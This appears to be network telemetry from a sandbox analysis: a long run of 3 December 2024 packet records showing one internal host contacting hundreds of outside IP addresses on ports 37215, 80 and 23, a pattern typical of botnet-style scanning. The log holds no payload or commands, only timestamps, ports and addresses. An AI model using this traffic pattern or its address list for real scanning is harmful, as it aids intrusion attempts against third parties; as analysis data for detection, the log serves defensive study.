                                                          Dec 3, 2024 23:16:42.759512901 CET4059737215192.168.2.2341.174.180.37
                                                          Dec 3, 2024 23:16:42.759517908 CET3721540597156.10.64.83192.168.2.23
                                                          Dec 3, 2024 23:16:42.759522915 CET4059737215192.168.2.23197.160.105.63
                                                          Dec 3, 2024 23:16:42.759532928 CET4059737215192.168.2.23197.176.2.205
                                                          Dec 3, 2024 23:16:42.759548903 CET4059737215192.168.2.23197.22.79.89
                                                          Dec 3, 2024 23:16:42.759550095 CET4059737215192.168.2.23156.10.64.83
                                                          Dec 3, 2024 23:16:42.760042906 CET3721540597156.25.133.205192.168.2.23
                                                          Dec 3, 2024 23:16:42.760054111 CET372154059741.57.162.78192.168.2.23
                                                          Dec 3, 2024 23:16:42.760062933 CET3721540597156.52.119.13192.168.2.23
                                                          Dec 3, 2024 23:16:42.760071993 CET3721540597156.184.164.39192.168.2.23
                                                          Dec 3, 2024 23:16:42.760080099 CET3721540597156.161.147.50192.168.2.23
                                                          Dec 3, 2024 23:16:42.760083914 CET4059737215192.168.2.23156.25.133.205
                                                          Dec 3, 2024 23:16:42.760087013 CET4059737215192.168.2.2341.57.162.78
                                                          Dec 3, 2024 23:16:42.760087967 CET372154059741.217.59.252192.168.2.23
                                                          Dec 3, 2024 23:16:42.760092974 CET3721540597156.189.189.240192.168.2.23
                                                          Dec 3, 2024 23:16:42.760101080 CET3721540597156.194.177.157192.168.2.23
                                                          Dec 3, 2024 23:16:42.760101080 CET4059737215192.168.2.23156.184.164.39
                                                          Dec 3, 2024 23:16:42.760102034 CET4059737215192.168.2.23156.52.119.13
                                                          Dec 3, 2024 23:16:42.760113001 CET372154059741.70.32.60192.168.2.23
                                                          Dec 3, 2024 23:16:42.760122061 CET4059737215192.168.2.23156.161.147.50
                                                          Dec 3, 2024 23:16:42.760122061 CET4059737215192.168.2.2341.217.59.252
                                                          Dec 3, 2024 23:16:42.760124922 CET372154059741.217.224.236192.168.2.23
                                                          Dec 3, 2024 23:16:42.760124922 CET4059737215192.168.2.23156.189.189.240
                                                          Dec 3, 2024 23:16:42.760133982 CET372154059741.174.47.70192.168.2.23
                                                          Dec 3, 2024 23:16:42.760140896 CET4059737215192.168.2.23156.194.177.157
                                                          Dec 3, 2024 23:16:42.760140896 CET4059737215192.168.2.2341.70.32.60
                                                          Dec 3, 2024 23:16:42.760143042 CET3721540597197.222.213.16192.168.2.23
                                                          Dec 3, 2024 23:16:42.760153055 CET372154059741.69.253.68192.168.2.23
                                                          Dec 3, 2024 23:16:42.760160923 CET3721540597197.17.71.8192.168.2.23
                                                          Dec 3, 2024 23:16:42.760168076 CET4059737215192.168.2.2341.174.47.70
                                                          Dec 3, 2024 23:16:42.760168076 CET4059737215192.168.2.2341.217.224.236
                                                          Dec 3, 2024 23:16:42.760169029 CET3721540597156.46.8.234192.168.2.23
                                                          Dec 3, 2024 23:16:42.760171890 CET4059737215192.168.2.23197.222.213.16
                                                          Dec 3, 2024 23:16:42.760176897 CET372154059741.138.202.252192.168.2.23
                                                          Dec 3, 2024 23:16:42.760188103 CET4059737215192.168.2.23197.17.71.8
                                                          Dec 3, 2024 23:16:42.760190010 CET372154059741.250.163.19192.168.2.23
                                                          Dec 3, 2024 23:16:42.760200977 CET3721540597197.225.133.219192.168.2.23
                                                          Dec 3, 2024 23:16:42.760207891 CET372154059741.92.110.203192.168.2.23
                                                          Dec 3, 2024 23:16:42.760209084 CET4059737215192.168.2.2341.138.202.252
                                                          Dec 3, 2024 23:16:42.760219097 CET4059737215192.168.2.2341.250.163.19
                                                          Dec 3, 2024 23:16:42.760221958 CET4059737215192.168.2.23197.225.133.219
                                                          Dec 3, 2024 23:16:42.760224104 CET372154059741.151.66.154192.168.2.23
                                                          Dec 3, 2024 23:16:42.760234118 CET3721540597156.193.4.233192.168.2.23
                                                          Dec 3, 2024 23:16:42.760236025 CET4059737215192.168.2.23156.46.8.234
                                                          Dec 3, 2024 23:16:42.760237932 CET4059737215192.168.2.2341.92.110.203
                                                          Dec 3, 2024 23:16:42.760242939 CET3721540597156.107.35.215192.168.2.23
                                                          Dec 3, 2024 23:16:42.760251045 CET372154059741.240.77.151192.168.2.23
                                                          Dec 3, 2024 23:16:42.760261059 CET3721540597197.216.86.30192.168.2.23
                                                          Dec 3, 2024 23:16:42.760266066 CET4059737215192.168.2.23156.193.4.233
                                                          Dec 3, 2024 23:16:42.760271072 CET3721540597156.98.144.143192.168.2.23
                                                          Dec 3, 2024 23:16:42.760278940 CET3721540597156.75.202.191192.168.2.23
                                                          Dec 3, 2024 23:16:42.760282040 CET4059737215192.168.2.2341.151.66.154
                                                          Dec 3, 2024 23:16:42.760286093 CET4059737215192.168.2.2341.69.253.68
                                                          Dec 3, 2024 23:16:42.760286093 CET4059737215192.168.2.23156.107.35.215
                                                          Dec 3, 2024 23:16:42.760286093 CET4059737215192.168.2.2341.240.77.151
                                                          Dec 3, 2024 23:16:42.760287046 CET3721540597197.190.220.197192.168.2.23
                                                          Dec 3, 2024 23:16:42.760294914 CET372154059741.70.215.6192.168.2.23
                                                          Dec 3, 2024 23:16:42.760301113 CET4059737215192.168.2.23197.216.86.30
                                                          Dec 3, 2024 23:16:42.760301113 CET4059737215192.168.2.23156.75.202.191
                                                          Dec 3, 2024 23:16:42.760303974 CET372154059741.139.233.172192.168.2.23
                                                          Dec 3, 2024 23:16:42.760313034 CET372154059741.217.252.27192.168.2.23
                                                          Dec 3, 2024 23:16:42.760319948 CET4059737215192.168.2.23156.98.144.143
                                                          Dec 3, 2024 23:16:42.760322094 CET3721540597156.74.195.17192.168.2.23
                                                          Dec 3, 2024 23:16:42.760320902 CET4059737215192.168.2.23197.190.220.197
                                                          Dec 3, 2024 23:16:42.760330915 CET372154059741.253.84.118192.168.2.23
                                                          Dec 3, 2024 23:16:42.760339022 CET4059737215192.168.2.2341.70.215.6
                                                          Dec 3, 2024 23:16:42.760339975 CET4059737215192.168.2.2341.139.233.172
                                                          Dec 3, 2024 23:16:42.760339975 CET3721540597156.59.73.60192.168.2.23
                                                          Dec 3, 2024 23:16:42.760344028 CET4059737215192.168.2.2341.217.252.27
                                                          Dec 3, 2024 23:16:42.760349989 CET4059737215192.168.2.23156.74.195.17
                                                          Dec 3, 2024 23:16:42.760356903 CET4059737215192.168.2.2341.253.84.118
                                                          Dec 3, 2024 23:16:42.760365963 CET4059737215192.168.2.23156.59.73.60
                                                          Dec 3, 2024 23:16:42.760704041 CET3721540597197.173.87.148192.168.2.23
                                                          Dec 3, 2024 23:16:42.760714054 CET372154059741.42.54.54192.168.2.23
                                                          Dec 3, 2024 23:16:42.760721922 CET3721540597197.4.255.240192.168.2.23
                                                          Dec 3, 2024 23:16:42.760730982 CET3721540597197.47.185.35192.168.2.23
                                                          Dec 3, 2024 23:16:42.760740995 CET3721540597197.136.193.86192.168.2.23
                                                          Dec 3, 2024 23:16:42.760742903 CET4059737215192.168.2.23197.173.87.148
                                                          Dec 3, 2024 23:16:42.760742903 CET4059737215192.168.2.2341.42.54.54
                                                          Dec 3, 2024 23:16:42.760742903 CET4059737215192.168.2.23197.4.255.240
                                                          Dec 3, 2024 23:16:42.760750055 CET372154059741.119.228.140192.168.2.23
                                                          Dec 3, 2024 23:16:42.760757923 CET3721540597156.68.149.22192.168.2.23
                                                          Dec 3, 2024 23:16:42.760761023 CET4059737215192.168.2.23197.47.185.35
                                                          Dec 3, 2024 23:16:42.760767937 CET3721540597197.249.113.57192.168.2.23
                                                          Dec 3, 2024 23:16:42.760776043 CET4059737215192.168.2.23197.136.193.86
                                                          Dec 3, 2024 23:16:42.760776997 CET3721540597197.58.232.172192.168.2.23
                                                          Dec 3, 2024 23:16:42.760780096 CET4059737215192.168.2.2341.119.228.140
                                                          Dec 3, 2024 23:16:42.760787010 CET3721540597156.104.231.18192.168.2.23
                                                          Dec 3, 2024 23:16:42.760798931 CET4059737215192.168.2.23156.68.149.22
                                                          Dec 3, 2024 23:16:42.760801077 CET3721540597197.239.199.197192.168.2.23
                                                          Dec 3, 2024 23:16:42.760802031 CET4059737215192.168.2.23197.249.113.57
                                                          Dec 3, 2024 23:16:42.760811090 CET372154059741.37.39.7192.168.2.23
                                                          Dec 3, 2024 23:16:42.760818958 CET3721540597156.0.142.91192.168.2.23
                                                          Dec 3, 2024 23:16:42.760819912 CET4059737215192.168.2.23156.104.231.18
                                                          Dec 3, 2024 23:16:42.760829926 CET3721540597197.103.185.206192.168.2.23
                                                          Dec 3, 2024 23:16:42.760838985 CET372154059741.199.202.54192.168.2.23
                                                          Dec 3, 2024 23:16:42.760839939 CET4059737215192.168.2.2341.37.39.7
                                                          Dec 3, 2024 23:16:42.760839939 CET4059737215192.168.2.23197.239.199.197
                                                          Dec 3, 2024 23:16:42.760840893 CET4059737215192.168.2.23197.58.232.172
                                                          Dec 3, 2024 23:16:42.760840893 CET4059737215192.168.2.23156.0.142.91
                                                          Dec 3, 2024 23:16:42.760854959 CET3721540597156.195.38.84192.168.2.23
                                                          Dec 3, 2024 23:16:42.760857105 CET4059737215192.168.2.23197.103.185.206
                                                          Dec 3, 2024 23:16:42.760869026 CET3721540597156.77.17.103192.168.2.23
                                                          Dec 3, 2024 23:16:42.760876894 CET372154059741.241.232.139192.168.2.23
                                                          Dec 3, 2024 23:16:42.760879040 CET4059737215192.168.2.2341.199.202.54
                                                          Dec 3, 2024 23:16:42.760885954 CET372154059741.107.159.189192.168.2.23
                                                          Dec 3, 2024 23:16:42.760888100 CET4059737215192.168.2.23156.195.38.84
                                                          Dec 3, 2024 23:16:42.760895014 CET3721540597197.193.174.24192.168.2.23
                                                          Dec 3, 2024 23:16:42.760905027 CET372154059741.212.60.170192.168.2.23
                                                          Dec 3, 2024 23:16:42.760906935 CET4059737215192.168.2.23156.77.17.103
                                                          Dec 3, 2024 23:16:42.760906935 CET4059737215192.168.2.2341.241.232.139
                                                          Dec 3, 2024 23:16:42.760914087 CET3721540597156.41.191.212192.168.2.23
                                                          Dec 3, 2024 23:16:42.760922909 CET3721540597156.199.57.97192.168.2.23
                                                          Dec 3, 2024 23:16:42.760925055 CET4059737215192.168.2.23197.193.174.24
                                                          Dec 3, 2024 23:16:42.760926962 CET4059737215192.168.2.2341.107.159.189
                                                          Dec 3, 2024 23:16:42.760931969 CET372154059741.90.217.130192.168.2.23
                                                          Dec 3, 2024 23:16:42.760941982 CET3721540597156.240.70.188192.168.2.23
                                                          Dec 3, 2024 23:16:42.760942936 CET4059737215192.168.2.2341.212.60.170
                                                          Dec 3, 2024 23:16:42.760951042 CET372154059741.227.203.115192.168.2.23
                                                          Dec 3, 2024 23:16:42.760951996 CET4059737215192.168.2.23156.199.57.97
                                                          Dec 3, 2024 23:16:42.760952950 CET4059737215192.168.2.23156.41.191.212
                                                          Dec 3, 2024 23:16:42.760960102 CET3721540597156.243.20.36192.168.2.23
                                                          Dec 3, 2024 23:16:42.760967970 CET3721540597156.65.212.24192.168.2.23
                                                          Dec 3, 2024 23:16:42.760971069 CET4059737215192.168.2.2341.90.217.130
                                                          Dec 3, 2024 23:16:42.760977030 CET4059737215192.168.2.23156.240.70.188
                                                          Dec 3, 2024 23:16:42.760989904 CET4059737215192.168.2.2341.227.203.115
                                                          Dec 3, 2024 23:16:42.760991096 CET4059737215192.168.2.23156.243.20.36
                                                          Dec 3, 2024 23:16:42.761004925 CET4059737215192.168.2.23156.65.212.24
                                                          Dec 3, 2024 23:16:42.761373997 CET372154059741.104.138.154192.168.2.23
                                                          Dec 3, 2024 23:16:42.761389017 CET372154059741.207.92.249192.168.2.23
                                                          Dec 3, 2024 23:16:42.761399031 CET3721540597156.206.45.55192.168.2.23
                                                          Dec 3, 2024 23:16:42.761406898 CET3721540597197.147.110.57192.168.2.23
                                                          Dec 3, 2024 23:16:42.761409998 CET4059737215192.168.2.2341.104.138.154
                                                          Dec 3, 2024 23:16:42.761424065 CET372154059741.37.110.138192.168.2.23
                                                          Dec 3, 2024 23:16:42.761426926 CET4059737215192.168.2.2341.207.92.249
                                                          Dec 3, 2024 23:16:42.761434078 CET372154059741.130.109.120192.168.2.23
                                                          Dec 3, 2024 23:16:42.761435032 CET4059737215192.168.2.23156.206.45.55
                                                          Dec 3, 2024 23:16:42.761436939 CET4059737215192.168.2.23197.147.110.57
                                                          Dec 3, 2024 23:16:42.761444092 CET3721540597156.54.20.47192.168.2.23
                                                          Dec 3, 2024 23:16:42.761452913 CET3721540597156.109.25.34192.168.2.23
                                                          Dec 3, 2024 23:16:42.761461020 CET3721540597197.18.146.126192.168.2.23
                                                          Dec 3, 2024 23:16:42.761462927 CET4059737215192.168.2.2341.37.110.138
                                                          Dec 3, 2024 23:16:42.761466026 CET4059737215192.168.2.2341.130.109.120
                                                          Dec 3, 2024 23:16:42.761483908 CET4059737215192.168.2.23156.109.25.34
                                                          Dec 3, 2024 23:16:42.761492014 CET4059737215192.168.2.23197.18.146.126
                                                          Dec 3, 2024 23:16:42.761498928 CET4059737215192.168.2.23156.54.20.47
                                                          Dec 3, 2024 23:16:42.761544943 CET372154059741.209.45.145192.168.2.23
                                                          Dec 3, 2024 23:16:42.761554003 CET3721540597197.198.133.108192.168.2.23
                                                          Dec 3, 2024 23:16:42.761562109 CET372154059741.105.138.157192.168.2.23
                                                          Dec 3, 2024 23:16:42.761570930 CET3721540597197.39.83.182192.168.2.23
                                                          Dec 3, 2024 23:16:42.761579037 CET3721540597156.246.49.158192.168.2.23
                                                          Dec 3, 2024 23:16:42.761579990 CET4059737215192.168.2.2341.209.45.145
                                                          Dec 3, 2024 23:16:42.761579990 CET4059737215192.168.2.23197.198.133.108
                                                          Dec 3, 2024 23:16:42.761588097 CET3721540597197.114.205.48192.168.2.23
                                                          Dec 3, 2024 23:16:42.761596918 CET372154059741.25.133.54192.168.2.23
                                                          Dec 3, 2024 23:16:42.761598110 CET4059737215192.168.2.23197.39.83.182
                                                          Dec 3, 2024 23:16:42.761598110 CET4059737215192.168.2.2341.105.138.157
                                                          Dec 3, 2024 23:16:42.761609077 CET372154059741.230.161.119192.168.2.23
                                                          Dec 3, 2024 23:16:42.761617899 CET4059737215192.168.2.23197.114.205.48
                                                          Dec 3, 2024 23:16:42.761617899 CET3721540597197.138.64.3192.168.2.23
                                                          Dec 3, 2024 23:16:42.761617899 CET4059737215192.168.2.23156.246.49.158
                                                          Dec 3, 2024 23:16:42.761627913 CET3721540597156.5.68.186192.168.2.23
                                                          Dec 3, 2024 23:16:42.761636019 CET4059737215192.168.2.2341.25.133.54
                                                          Dec 3, 2024 23:16:42.761636972 CET3721540597156.236.251.101192.168.2.23
                                                          Dec 3, 2024 23:16:42.761641979 CET4059737215192.168.2.2341.230.161.119
                                                          Dec 3, 2024 23:16:42.761646032 CET3721540597197.189.220.113192.168.2.23
                                                          Dec 3, 2024 23:16:42.761655092 CET4059737215192.168.2.23197.138.64.3
                                                          Dec 3, 2024 23:16:42.761656046 CET3721540597156.25.6.225192.168.2.23
                                                          Dec 3, 2024 23:16:42.761663914 CET3721540597197.202.142.105192.168.2.23
                                                          Dec 3, 2024 23:16:42.761665106 CET4059737215192.168.2.23156.5.68.186
                                                          Dec 3, 2024 23:16:42.761667013 CET4059737215192.168.2.23156.236.251.101
                                                          Dec 3, 2024 23:16:42.761672974 CET372154059741.38.58.193192.168.2.23
                                                          Dec 3, 2024 23:16:42.761687040 CET4059737215192.168.2.23197.189.220.113
                                                          Dec 3, 2024 23:16:42.761688948 CET4059737215192.168.2.23156.25.6.225
                                                          Dec 3, 2024 23:16:42.761693954 CET4059737215192.168.2.23197.202.142.105
                                                          Dec 3, 2024 23:16:42.761694908 CET4059737215192.168.2.2341.38.58.193
                                                          Dec 3, 2024 23:16:43.379389048 CET4059680192.168.2.23211.227.175.197
                                                          Dec 3, 2024 23:16:43.379395008 CET4059680192.168.2.23181.102.255.131
                                                          Dec 3, 2024 23:16:43.379398108 CET4059680192.168.2.23219.135.74.124
                                                          Dec 3, 2024 23:16:43.379403114 CET4059680192.168.2.2364.239.90.85
                                                          Dec 3, 2024 23:16:43.379410028 CET4059680192.168.2.23122.213.128.42
                                                          Dec 3, 2024 23:16:43.379410028 CET4059680192.168.2.23209.92.96.31
                                                          Dec 3, 2024 23:16:43.379410028 CET4059680192.168.2.2394.118.82.104
                                                          Dec 3, 2024 23:16:43.379420042 CET4059680192.168.2.23147.122.234.119
                                                          Dec 3, 2024 23:16:43.379420042 CET4059680192.168.2.23164.90.130.102
                                                          Dec 3, 2024 23:16:43.379420042 CET4059680192.168.2.23213.7.16.234
                                                          Dec 3, 2024 23:16:43.379426956 CET4059680192.168.2.2338.183.33.190
                                                          Dec 3, 2024 23:16:43.379437923 CET4059680192.168.2.2381.22.98.221
                                                          Dec 3, 2024 23:16:43.379443884 CET4059680192.168.2.2369.237.104.49
                                                          Dec 3, 2024 23:16:43.379448891 CET4059680192.168.2.2341.149.225.92
                                                          Dec 3, 2024 23:16:43.379450083 CET4059680192.168.2.2365.244.187.18
                                                          Dec 3, 2024 23:16:43.379463911 CET4059680192.168.2.2342.240.154.229
                                                          Dec 3, 2024 23:16:43.379468918 CET4059680192.168.2.23149.220.102.53
                                                          Dec 3, 2024 23:16:43.379468918 CET4059680192.168.2.2346.235.103.27
                                                          Dec 3, 2024 23:16:43.379468918 CET4059680192.168.2.23168.201.150.76
                                                          Dec 3, 2024 23:16:43.379470110 CET4059680192.168.2.23200.113.220.113
                                                          Dec 3, 2024 23:16:43.379472017 CET4059680192.168.2.2384.62.102.3
                                                          Dec 3, 2024 23:16:43.379470110 CET4059680192.168.2.23136.21.160.150
                                                          Dec 3, 2024 23:16:43.379489899 CET4059680192.168.2.23110.219.87.158
                                                          Dec 3, 2024 23:16:43.379496098 CET4059680192.168.2.23133.129.90.10
                                                          Dec 3, 2024 23:16:43.379498005 CET4059680192.168.2.23104.232.51.106
                                                          Dec 3, 2024 23:16:43.379499912 CET4059680192.168.2.23114.235.208.246
                                                          Dec 3, 2024 23:16:43.379499912 CET4059680192.168.2.2392.218.24.101
                                                          Dec 3, 2024 23:16:43.379503012 CET4059680192.168.2.23169.7.213.50
                                                          Dec 3, 2024 23:16:43.379503012 CET4059680192.168.2.23200.237.140.117
                                                          Dec 3, 2024 23:16:43.379503012 CET4059680192.168.2.23150.39.56.225
                                                          Dec 3, 2024 23:16:43.379508018 CET4059680192.168.2.2389.252.75.13
                                                          Dec 3, 2024 23:16:43.379509926 CET4059680192.168.2.2389.7.20.131
                                                          Dec 3, 2024 23:16:43.379513979 CET4059680192.168.2.2361.56.27.165
                                                          Dec 3, 2024 23:16:43.379514933 CET4059680192.168.2.2336.148.176.14
                                                          Dec 3, 2024 23:16:43.379514933 CET4059680192.168.2.2383.7.64.25
                                                          Dec 3, 2024 23:16:43.379519939 CET4059680192.168.2.2365.223.32.85
                                                          Dec 3, 2024 23:16:43.379528046 CET4059680192.168.2.23138.110.243.243
                                                          Dec 3, 2024 23:16:43.379539013 CET4059680192.168.2.2320.226.95.25
                                                          Dec 3, 2024 23:16:43.379539013 CET4059680192.168.2.234.148.73.18
                                                          Dec 3, 2024 23:16:43.379542112 CET4059680192.168.2.23138.59.212.85
                                                          Dec 3, 2024 23:16:43.379539013 CET4059680192.168.2.2364.129.209.41
                                                          Dec 3, 2024 23:16:43.379542112 CET4059680192.168.2.23182.251.205.165
                                                          Dec 3, 2024 23:16:43.379545927 CET4059680192.168.2.23128.98.121.173
                                                          Dec 3, 2024 23:16:43.379548073 CET4059680192.168.2.23134.245.15.31
                                                          Dec 3, 2024 23:16:43.379549026 CET4059680192.168.2.2376.249.167.2
                                                          Dec 3, 2024 23:16:43.379549026 CET4059680192.168.2.2350.139.5.243
                                                          Dec 3, 2024 23:16:43.379549026 CET4059680192.168.2.2381.218.86.221
                                                          Dec 3, 2024 23:16:43.379549980 CET4059680192.168.2.2351.51.22.8
                                                          Dec 3, 2024 23:16:43.379555941 CET4059680192.168.2.23152.243.171.49
                                                          Dec 3, 2024 23:16:43.379555941 CET4059680192.168.2.23194.241.133.101
                                                          Dec 3, 2024 23:16:43.379559994 CET4059680192.168.2.23212.75.146.191
                                                          Dec 3, 2024 23:16:43.379564047 CET4059680192.168.2.23138.109.0.205
                                                          Dec 3, 2024 23:16:43.379564047 CET4059680192.168.2.2379.244.180.207
                                                          Dec 3, 2024 23:16:43.379566908 CET4059680192.168.2.2365.29.189.222
                                                          Dec 3, 2024 23:16:43.379566908 CET4059680192.168.2.23161.161.6.170
                                                          Dec 3, 2024 23:16:43.379566908 CET4059680192.168.2.2320.223.0.235
                                                          Dec 3, 2024 23:16:43.379585028 CET4059680192.168.2.2382.98.126.245
                                                          Dec 3, 2024 23:16:43.379589081 CET4059680192.168.2.2389.106.217.241
                                                          Dec 3, 2024 23:16:43.379589081 CET4059680192.168.2.23104.224.174.176
                                                          Dec 3, 2024 23:16:43.379589081 CET4059680192.168.2.23185.88.53.109
                                                          Dec 3, 2024 23:16:43.379589081 CET4059680192.168.2.2376.169.54.168
                                                          Dec 3, 2024 23:16:43.379592896 CET4059680192.168.2.23206.13.15.63
                                                          Dec 3, 2024 23:16:43.379596949 CET4059680192.168.2.23144.38.20.0
                                                          Dec 3, 2024 23:16:43.379597902 CET4059680192.168.2.23101.46.179.16
                                                          Dec 3, 2024 23:16:43.379602909 CET4059680192.168.2.23120.30.121.211
                                                          Dec 3, 2024 23:16:43.379602909 CET4059680192.168.2.23106.19.131.154
                                                          Dec 3, 2024 23:16:43.379604101 CET4059680192.168.2.23196.5.126.27
                                                          Dec 3, 2024 23:16:43.379606009 CET4059680192.168.2.2388.16.203.90
                                                          Dec 3, 2024 23:16:43.379606962 CET4059680192.168.2.2372.180.203.48
                                                          Dec 3, 2024 23:16:43.379611969 CET4059680192.168.2.2358.223.72.221
                                                          Dec 3, 2024 23:16:43.379616022 CET4059680192.168.2.23188.156.0.26
                                                          Dec 3, 2024 23:16:43.379631996 CET4059680192.168.2.2386.149.195.141
                                                          Dec 3, 2024 23:16:43.379657984 CET4059680192.168.2.23108.21.86.16
                                                          Dec 3, 2024 23:16:43.379658937 CET4059680192.168.2.23198.194.160.28
                                                          Dec 3, 2024 23:16:43.379666090 CET4059680192.168.2.23161.221.196.222
                                                          Dec 3, 2024 23:16:43.379666090 CET4059680192.168.2.23131.8.138.7
                                                          Dec 3, 2024 23:16:43.379667044 CET4059680192.168.2.23209.166.64.134
                                                          Dec 3, 2024 23:16:43.379668951 CET4059680192.168.2.23119.49.209.67
                                                          Dec 3, 2024 23:16:43.379668951 CET4059680192.168.2.2336.127.250.78
                                                          Dec 3, 2024 23:16:43.379668951 CET4059680192.168.2.2352.59.102.77
                                                          Dec 3, 2024 23:16:43.379672050 CET4059680192.168.2.23205.42.223.76
                                                          Dec 3, 2024 23:16:43.379673004 CET4059680192.168.2.23209.81.157.192
                                                          Dec 3, 2024 23:16:43.379684925 CET4059680192.168.2.23179.151.244.139
                                                          Dec 3, 2024 23:16:43.379684925 CET4059680192.168.2.23181.132.251.28
                                                          Dec 3, 2024 23:16:43.379682064 CET4059680192.168.2.2312.128.53.10
                                                          Dec 3, 2024 23:16:43.379688978 CET4059680192.168.2.2364.56.86.147
                                                          Dec 3, 2024 23:16:43.379688978 CET4059680192.168.2.23186.78.42.49
                                                          Dec 3, 2024 23:16:43.379689932 CET4059680192.168.2.23123.80.89.111
                                                          Dec 3, 2024 23:16:43.379689932 CET4059680192.168.2.2314.2.153.102
                                                          Dec 3, 2024 23:16:43.379689932 CET4059680192.168.2.2371.139.246.174
                                                          Dec 3, 2024 23:16:43.379694939 CET4059680192.168.2.23210.203.159.81
                                                          Dec 3, 2024 23:16:43.379694939 CET4059680192.168.2.23176.88.220.123
                                                          Dec 3, 2024 23:16:43.379698038 CET4059680192.168.2.23204.71.210.36
                                                          Dec 3, 2024 23:16:43.379702091 CET4059680192.168.2.23131.246.4.63
                                                          Dec 3, 2024 23:16:43.379710913 CET4059680192.168.2.23144.183.136.97
                                                          Dec 3, 2024 23:16:43.379710913 CET4059680192.168.2.23184.86.41.56
                                                          Dec 3, 2024 23:16:43.379712105 CET4059680192.168.2.23131.92.253.181
                                                          Dec 3, 2024 23:16:43.379712105 CET4059680192.168.2.23206.170.226.131
                                                          Dec 3, 2024 23:16:43.379719019 CET4059680192.168.2.2373.31.100.228
                                                          Dec 3, 2024 23:16:43.379729986 CET4059680192.168.2.2382.250.111.85
                                                          Dec 3, 2024 23:16:43.379735947 CET4059680192.168.2.23162.201.102.41
                                                          Dec 3, 2024 23:16:43.379736900 CET4059680192.168.2.2344.175.95.43
                                                          Dec 3, 2024 23:16:43.379738092 CET4060223192.168.2.23202.84.155.44
                                                          Dec 3, 2024 23:16:43.379738092 CET4059680192.168.2.2342.231.201.246
                                                          Dec 3, 2024 23:16:43.379738092 CET4059680192.168.2.2394.92.78.31
                                                          Dec 3, 2024 23:16:43.379741907 CET4059680192.168.2.2376.103.0.167
                                                          Dec 3, 2024 23:16:43.379741907 CET4060223192.168.2.2350.79.3.56
                                                          Dec 3, 2024 23:16:43.379745007 CET4059680192.168.2.2353.49.221.189
                                                          Dec 3, 2024 23:16:43.379745007 CET4059680192.168.2.23147.170.116.245
                                                          Dec 3, 2024 23:16:43.379748106 CET4060223192.168.2.2345.16.168.248
                                                          Dec 3, 2024 23:16:43.379751921 CET4059680192.168.2.23188.92.203.78
                                                          Dec 3, 2024 23:16:43.379755020 CET4060223192.168.2.2341.240.216.6
                                                          Dec 3, 2024 23:16:43.379766941 CET4060223192.168.2.23116.165.53.26
                                                          Dec 3, 2024 23:16:43.379770041 CET4060223192.168.2.23222.136.133.102
                                                          Dec 3, 2024 23:16:43.379771948 CET4060223192.168.2.2370.230.169.23
                                                          Dec 3, 2024 23:16:43.379772902 CET4060223192.168.2.23223.125.77.118
                                                          Dec 3, 2024 23:16:43.379772902 CET4060223192.168.2.2340.89.182.250
                                                          Dec 3, 2024 23:16:43.379779100 CET4060223192.168.2.2396.91.143.184
                                                          Dec 3, 2024 23:16:43.379780054 CET4060223192.168.2.2388.254.192.250
                                                          Dec 3, 2024 23:16:43.379780054 CET4060223192.168.2.23188.0.5.22
                                                          Dec 3, 2024 23:16:43.379786968 CET4059680192.168.2.23192.3.173.53
                                                          Dec 3, 2024 23:16:43.379791021 CET4060223192.168.2.23112.210.11.151
                                                          Dec 3, 2024 23:16:43.379791021 CET4060223192.168.2.2339.167.55.18
                                                          Dec 3, 2024 23:16:43.379798889 CET4060223192.168.2.23173.5.197.61
                                                          Dec 3, 2024 23:16:43.379803896 CET4059680192.168.2.23190.104.150.80
                                                          Dec 3, 2024 23:16:43.379805088 CET4059680192.168.2.23159.203.38.5
                                                          Dec 3, 2024 23:16:43.379806042 CET4059680192.168.2.23184.210.19.213
                                                          Dec 3, 2024 23:16:43.379805088 CET4059680192.168.2.23130.141.53.156
                                                          Dec 3, 2024 23:16:43.379805088 CET4059680192.168.2.23159.44.134.229
                                                          Dec 3, 2024 23:16:43.379812002 CET4060223192.168.2.23191.121.98.86
                                                          Dec 3, 2024 23:16:43.379812956 CET4059680192.168.2.2399.138.11.253
                                                          Dec 3, 2024 23:16:43.379817963 CET4060223192.168.2.2385.138.107.171
                                                          Dec 3, 2024 23:16:43.379820108 CET4060223192.168.2.23136.205.29.8
                                                          Dec 3, 2024 23:16:43.379825115 CET4060223192.168.2.2383.163.137.241
                                                          Dec 3, 2024 23:16:43.379826069 CET4059680192.168.2.2318.183.30.194
                                                          Dec 3, 2024 23:16:43.379832983 CET4059680192.168.2.2340.120.155.173
                                                          Dec 3, 2024 23:16:43.379834890 CET4059680192.168.2.23192.174.198.182
                                                          Dec 3, 2024 23:16:43.379834890 CET4059680192.168.2.231.152.94.211
                                                          Dec 3, 2024 23:16:43.379837036 CET4059680192.168.2.23207.205.219.155
                                                          Dec 3, 2024 23:16:43.379852057 CET4060223192.168.2.23149.187.223.98
                                                          Dec 3, 2024 23:16:43.379852057 CET4060223192.168.2.2348.223.242.59
                                                          Dec 3, 2024 23:16:43.379852057 CET4060223192.168.2.2388.101.129.250
                                                          Dec 3, 2024 23:16:43.379857063 CET4060223192.168.2.23190.76.75.229
                                                          Dec 3, 2024 23:16:43.379857063 CET4060223192.168.2.23141.57.96.20
                                                          Dec 3, 2024 23:16:43.379858971 CET4059680192.168.2.2390.1.224.247
                                                          Dec 3, 2024 23:16:43.379868984 CET4060223192.168.2.2323.233.95.36
                                                          Dec 3, 2024 23:16:43.379868984 CET4060223192.168.2.238.117.180.197
                                                          Dec 3, 2024 23:16:43.379875898 CET4059680192.168.2.23119.109.216.24
                                                          Dec 3, 2024 23:16:43.379875898 CET4060223192.168.2.2361.232.8.31
                                                          Dec 3, 2024 23:16:43.379877090 CET4060223192.168.2.23173.205.75.140
                                                          Dec 3, 2024 23:16:43.379878044 CET4060223192.168.2.2344.95.111.71
                                                          Dec 3, 2024 23:16:43.379877090 CET4059680192.168.2.2384.247.160.236
                                                          Dec 3, 2024 23:16:43.379878044 CET4060223192.168.2.2399.209.245.68
                                                          Dec 3, 2024 23:16:43.379878044 CET4060223192.168.2.2312.70.112.94
                                                          Dec 3, 2024 23:16:43.379880905 CET4060223192.168.2.2396.151.130.88
                                                          Dec 3, 2024 23:16:43.379880905 CET4060223192.168.2.23213.161.194.233
                                                          Dec 3, 2024 23:16:43.379880905 CET4060223192.168.2.2366.15.149.63
                                                          Dec 3, 2024 23:16:43.379880905 CET4059680192.168.2.23137.138.231.173
                                                          Dec 3, 2024 23:16:43.379887104 CET4059680192.168.2.23201.19.218.174
                                                          Dec 3, 2024 23:16:43.379889965 CET4060223192.168.2.23117.222.185.60
                                                          Dec 3, 2024 23:16:43.379889965 CET4059680192.168.2.23174.200.7.114
